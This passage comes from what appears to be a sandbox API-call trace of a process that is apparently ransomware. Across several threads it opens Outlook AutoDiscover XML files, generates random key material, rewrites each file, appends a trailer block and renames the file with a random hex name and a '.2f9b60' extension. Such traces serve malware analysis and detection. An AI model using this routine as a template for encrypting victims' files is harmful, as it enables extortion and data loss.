DestinationString=0x2c91f748, SourceString="0f344db3a88f80d42de927e5d41893275158398ad9d3ab26fdcc77e8d249" | out: DestinationString="0f344db3a88f80d42de927e5d41893275158398ad9d3ab26fdcc77e8d249") [0236.072] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c91f718, SourceString="0f344db3a88f80d42de927e5d41893275158398ad9d3ab26fdcc77e8d249", AllocateDestinationString=1 | out: DestinationString="0f344db3a88f80d42de927e5d41893275158398ad9d3ab26fdcc77e8d249") returned 0x0 [0236.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x42c23680 [0236.073] wcscat (in: _Dest=0x4311b920, _Source="0f344db3a88f80d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\0f344db3a88f80d") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\0f344db3a88f80d" [0236.073] wcscat (in: _Dest=0x4311b920, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\0f344db3a88f80d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\0f344db3a88f80d.2f9b60" [0236.073] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\0f344db3a88f80d.2f9b60", NtPathName=0x2c91f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\0f344db3a88f80d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x430d7520 Thread: id = 3821 os_tid = 0x1768 [0227.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml")) returned 0x20 [0229.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML", dwFileAttributes=0x20) returned 1 [0229.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0229.273] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x2998f9e0 | out: lpFileSize=0x2998f9e0*=811) returned 1 [0229.273] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x327, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.273] ReadFile (in: hFile=0xdac, lpBuffer=0x2998f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2998f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2998f960*, lpNumberOfBytesRead=0x2998f9a8*=0x4, lpOverlapped=0x0) returned 1 [0230.458] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260530 [0230.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262330 [0230.458] NtQuerySystemTime (in: CurrentTime=0x2998f8a0 | out: CurrentTime=0x2998f8a0*=132462178344442000) returned 0x0 [0230.458] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x40152b1f [0230.458] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x286a9569 [0230.458] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x59f51874 [0230.458] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x2b0feee8 [0230.458] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x4f408370 [0230.458] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x37de77e3 [0230.458] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x468fa3d0 [0230.458] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x2135daae [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x29661c3d [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x30684868 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x67e1e285 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x7b3d0fd [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x77bccdb5 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x9e67b1a [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x5d0f3507 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x4fadffcf [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x4dcb57ee [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x1d0f1e5b [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x77f76968 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x2d2782ab [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x4f408370 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x54ff491b [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x7fc84899 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x5338cfb7 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x5c5e3891 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x3a65972 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0xa4d5a71 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x109a9663 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x3a765afc [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0xbe7c595 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0xa4d5a71 [0230.459] RtlRandomEx (in: Seed=0x2998f890 | out: Seed=0x2998f890) returned 0x47c2bd9 [0230.466] ReadFile (in: hFile=0xdac, lpBuffer=0x20455b00, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x2998f890, lpOverlapped=0x0 | out: lpBuffer=0x20455b00*, lpNumberOfBytesRead=0x2998f890*=0x32b, lpOverlapped=0x0) returned 1 [0230.466] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.466] WriteFile (in: hFile=0xdac, lpBuffer=0x20464b40*, nNumberOfBytesToWrite=0x32b, lpNumberOfBytesWritten=0x2998f894, lpOverlapped=0x0 | out: lpBuffer=0x20464b40*, lpNumberOfBytesWritten=0x2998f894*=0x32b, lpOverlapped=0x0) returned 1 [0233.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b90 [0233.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261cd0 [0233.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261cd0) returned 1 [0233.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20464b40) returned 1 [0233.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20455b00) returned 1 [0233.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0233.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0233.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431ad420 [0233.727] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.728] WriteFile (in: hFile=0xdac, lpBuffer=0x42c15a70*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2998f9b0, lpOverlapped=0x0 | out: lpBuffer=0x42c15a70*, lpNumberOfBytesWritten=0x2998f9b0*=0x110, lpOverlapped=0x0) returned 1 [0235.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d20 [0235.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d20) returned 1 [0235.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20262d20 [0235.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e10 [0235.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628d0 [0235.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202628d0) returned 1 [0235.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97b70 [0235.765] sprintf (in: _Dest=0x1cd97b70, _Format="%c%c" | out: _Dest="a4") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b72, _Format="%c%c" | out: _Dest="c8") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b74, _Format="%c%c" | out: _Dest="e8") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b76, _Format="%c%c" | out: _Dest="37") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b78, _Format="%c%c" | out: _Dest="3a") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b7a, _Format="%c%c" | out: _Dest="6e") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b7c, _Format="%c%c" | out: _Dest="b1") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b7e, _Format="%c%c" | out: _Dest="22") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b80, _Format="%c%c" | out: _Dest="b2") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b82, _Format="%c%c" | out: _Dest="93") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b84, _Format="%c%c" | out: _Dest="66") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b86, _Format="%c%c" | out: _Dest="98") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b88, _Format="%c%c" | out: _Dest="9b") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b8a, _Format="%c%c" | out: _Dest="cb") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b8c, _Format="%c%c" | out: _Dest="7e") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b8e, _Format="%c%c" | out: _Dest="37") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b90, _Format="%c%c" | out: _Dest="30") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b92, _Format="%c%c" | out: _Dest="5d") returned 2 [0235.765] sprintf (in: _Dest=0x1cd97b94, _Format="%c%c" | out: _Dest="68") returned 2 [0235.766] sprintf (in: _Dest=0x1cd97b96, _Format="%c%c" | out: _Dest="1a") returned 2 [0235.766] sprintf (in: _Dest=0x1cd97b98, _Format="%c%c" | out: _Dest="1f") returned 2 [0235.766] sprintf (in: _Dest=0x1cd97b9a, _Format="%c%c" | out: _Dest="e8") returned 2 [0235.766] sprintf (in: _Dest=0x1cd97b9c, _Format="%c%c" | out: _Dest="46") returned 2 [0235.766] sprintf (in: _Dest=0x1cd97b9e, _Format="%c%c" | out: _Dest="f3") returned 2 [0235.766] sprintf (in: _Dest=0x1cd97ba0, _Format="%c%c" | out: _Dest="ba") returned 2 [0235.766] sprintf (in: _Dest=0x1cd97ba2, _Format="%c%c" | out: _Dest="f8") returned 2 [0235.766] sprintf (in: _Dest=0x1cd97ba4, _Format="%c%c" | out: _Dest="03") returned 2 [0235.766] sprintf (in: _Dest=0x1cd97ba6, _Format="%c%c" | out: _Dest="d9") returned 2 [0235.766] sprintf (in: _Dest=0x1cd97ba8, _Format="%c%c" | out: _Dest="a8") returned 2 [0235.766] sprintf (in: _Dest=0x1cd97baa, _Format="%c%c" | out: _Dest="18") returned 2 [0235.766] RtlInitAnsiString (in: DestinationString=0x2998fa28, SourceString="a4c8e8373a6eb122b29366989bcb7e37305d681a1fe846f3baf803d9a818" | out: DestinationString="a4c8e8373a6eb122b29366989bcb7e37305d681a1fe846f3baf803d9a818") [0235.766] RtlAnsiStringToUnicodeString (in: DestinationString=0x2998f9f8, SourceString="a4c8e8373a6eb122b29366989bcb7e37305d681a1fe846f3baf803d9a818", AllocateDestinationString=1 | out: DestinationString="a4c8e8373a6eb122b29366989bcb7e37305d681a1fe846f3baf803d9a818") returned 0x0 [0235.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x43154ba0 [0235.767] wcscat (in: _Dest=0x4314c160, _Source="a4c8e8373a6eb12" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\a4c8e8373a6eb12") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\a4c8e8373a6eb12" [0235.767] wcscat (in: _Dest=0x4314c160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\a4c8e8373a6eb12.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\a4c8e8373a6eb12.2f9b60" [0235.767] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\a4c8e8373a6eb12.2f9b60", NtPathName=0x2998f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\a4c8e8373a6eb12.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x430d68e0 Thread: id = 3822 os_tid = 0xd24 [0227.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml")) returned 0x20 [0229.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML", dwFileAttributes=0x20) returned 1 [0229.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c4c [0229.376] GetFileSizeEx (in: hFile=0x1c4c, lpFileSize=0x2a49f7c0 | out: lpFileSize=0x2a49f7c0*=806) returned 1 [0229.376] SetFilePointerEx (in: hFile=0x1c4c, liDistanceToMove=0x322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.376] ReadFile (in: hFile=0x1c4c, lpBuffer=0x2a49f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a49f788, lpOverlapped=0x0 | out: lpBuffer=0x2a49f740*, lpNumberOfBytesRead=0x2a49f788*=0x4, lpOverlapped=0x0) returned 1 [0229.388] SetFilePointerEx (in: hFile=0x1c4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0f50 [0229.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3da0 [0229.389] NtQuerySystemTime (in: CurrentTime=0x2a49f680 | out: CurrentTime=0x2a49f680*=132462178333834000) returned 0x0 [0229.389] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x7adeae81 [0229.389] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x6e6f440c [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x5e897973 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x2845d89b [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x28138758 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x40c8310 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x291c145b [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x58972339 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x3feabd4c [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x59511c42 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x329824cb [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x22e80c35 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x52c8cb4f [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x25e84fdb [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x7f959c5e [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x3ed043a1 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x7ed52619 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x5dcad2a2 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x539dd030 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x7c2d0e66 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x20668c48 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x39e350fc [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x10bbf4b1 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x733dc733 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x64dace8e [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x289da1b1 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x23597714 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0xbaf2405 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x3d72c0de [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x6a8e4049 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x5b3b7d95 [0229.390] RtlRandomEx (in: Seed=0x2a49f670 | out: Seed=0x2a49f670) returned 0x10326339 [0229.402] ReadFile (in: hFile=0x1c4c, lpBuffer=0x42df0190, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x2a49f670, lpOverlapped=0x0 | out: lpBuffer=0x42df0190*, lpNumberOfBytesRead=0x2a49f670*=0x326, lpOverlapped=0x0) returned 1 [0229.402] SetFilePointerEx (in: hFile=0x1c4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.402] WriteFile (in: hFile=0x1c4c, lpBuffer=0x42ae6670*, nNumberOfBytesToWrite=0x326, lpNumberOfBytesWritten=0x2a49f674, lpOverlapped=0x0 | out: lpBuffer=0x42ae6670*, lpNumberOfBytesWritten=0x2a49f674*=0x326, lpOverlapped=0x0) returned 1 [0233.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263260 [0233.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e60 [0233.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e60) returned 1 [0233.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ae6670) returned 1 [0233.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42df0190) returned 1 [0233.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0233.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62eb0) returned 1 [0233.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f030 [0233.330] SetFilePointerEx (in: hFile=0x1c4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.330] WriteFile (in: hFile=0x1c4c, lpBuffer=0x42c14e10*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2a49f790, lpOverlapped=0x0 | out: lpBuffer=0x42c14e10*, lpNumberOfBytesWritten=0x2a49f790*=0x110, lpOverlapped=0x0) returned 1 [0235.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0235.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e30 [0235.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3e30) returned 1 [0235.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdb3e30 [0235.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0f20 [0235.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0d70 [0235.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0d70) returned 1 [0235.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0235.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce61560 [0235.491] sprintf (in: _Dest=0x1ce61560, _Format="%c%c" | out: _Dest="ae") returned 2 [0235.491] sprintf (in: _Dest=0x1ce61562, _Format="%c%c" | out: _Dest="61") returned 2 [0235.491] sprintf (in: _Dest=0x1ce61564, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.491] sprintf (in: _Dest=0x1ce61566, _Format="%c%c" | out: _Dest="50") returned 2 [0235.491] sprintf (in: _Dest=0x1ce61568, _Format="%c%c" | out: _Dest="a0") returned 2 [0235.491] sprintf (in: _Dest=0x1ce6156a, _Format="%c%c" | out: _Dest="5c") returned 2 [0235.491] sprintf (in: _Dest=0x1ce6156c, _Format="%c%c" | out: _Dest="94") returned 2 [0235.491] sprintf (in: _Dest=0x1ce6156e, _Format="%c%c" | out: _Dest="f7") returned 2 [0235.491] sprintf (in: _Dest=0x1ce61570, _Format="%c%c" | out: _Dest="88") returned 2 [0235.491] sprintf (in: _Dest=0x1ce61572, _Format="%c%c" | out: _Dest="fe") returned 2 [0235.491] sprintf (in: _Dest=0x1ce61574, _Format="%c%c" | out: _Dest="73") returned 2 [0235.491] sprintf (in: _Dest=0x1ce61576, _Format="%c%c" | out: _Dest="35") returned 2 [0235.491] sprintf (in: _Dest=0x1ce61578, _Format="%c%c" | out: _Dest="99") returned 2 [0235.491] sprintf (in: _Dest=0x1ce6157a, _Format="%c%c" | out: _Dest="16") returned 2 [0235.491] sprintf (in: _Dest=0x1ce6157c, _Format="%c%c" | out: _Dest="bc") returned 2 [0235.491] sprintf (in: _Dest=0x1ce6157e, _Format="%c%c" | out: _Dest="41") returned 2 [0235.491] sprintf (in: _Dest=0x1ce61580, _Format="%c%c" | out: _Dest="05") returned 2 [0235.491] sprintf (in: _Dest=0x1ce61582, _Format="%c%c" | out: _Dest="7f") returned 2 [0235.491] sprintf (in: _Dest=0x1ce61584, _Format="%c%c" | out: _Dest="a7") returned 2 [0235.492] sprintf (in: _Dest=0x1ce61586, _Format="%c%c" | out: _Dest="5e") returned 2 [0235.492] sprintf (in: _Dest=0x1ce61588, _Format="%c%c" | out: _Dest="9d") returned 2 [0235.492] sprintf (in: _Dest=0x1ce6158a, _Format="%c%c" | out: _Dest="ea") returned 2 [0235.492] sprintf (in: _Dest=0x1ce6158c, _Format="%c%c" | out: _Dest="b1") returned 2 [0235.492] sprintf (in: _Dest=0x1ce6158e, _Format="%c%c" | out: _Dest="d5") returned 2 [0235.492] sprintf (in: _Dest=0x1ce61590, _Format="%c%c" | out: _Dest="b2") returned 2 [0235.492] sprintf (in: _Dest=0x1ce61592, _Format="%c%c" | out: _Dest="2c") returned 2 [0235.492] sprintf (in: _Dest=0x1ce61594, _Format="%c%c" | out: _Dest="65") returned 2 [0235.492] sprintf (in: _Dest=0x1ce61596, _Format="%c%c" | out: _Dest="e5") returned 2 [0235.492] sprintf (in: _Dest=0x1ce61598, _Format="%c%c" | out: _Dest="48") returned 2 [0235.492] sprintf (in: _Dest=0x1ce6159a, _Format="%c%c" | out: _Dest="59") returned 2 [0235.492] RtlInitAnsiString (in: DestinationString=0x2a49f808, SourceString="ae61fb50a05c94f788fe73359916bc41057fa75e9deab1d5b22c65e54859" | out: DestinationString="ae61fb50a05c94f788fe73359916bc41057fa75e9deab1d5b22c65e54859") [0235.492] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a49f7d8, SourceString="ae61fb50a05c94f788fe73359916bc41057fa75e9deab1d5b22c65e54859", AllocateDestinationString=1 | out: DestinationString="ae61fb50a05c94f788fe73359916bc41057fa75e9deab1d5b22c65e54859") returned 0x0 [0235.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4b2f0 [0235.493] wcscat (in: _Dest=0x4312aae0, _Source="ae61fb50a05c94f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ae61fb50a05c94f") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ae61fb50a05c94f" [0235.493] wcscat (in: _Dest=0x4312aae0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ae61fb50a05c94f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ae61fb50a05c94f.2f9b60" [0235.493] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ae61fb50a05c94f.2f9b60", NtPathName=0x2a49f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ae61fb50a05c94f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x43116320 Thread: id = 3823 os_tid = 0x1b80 [0227.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 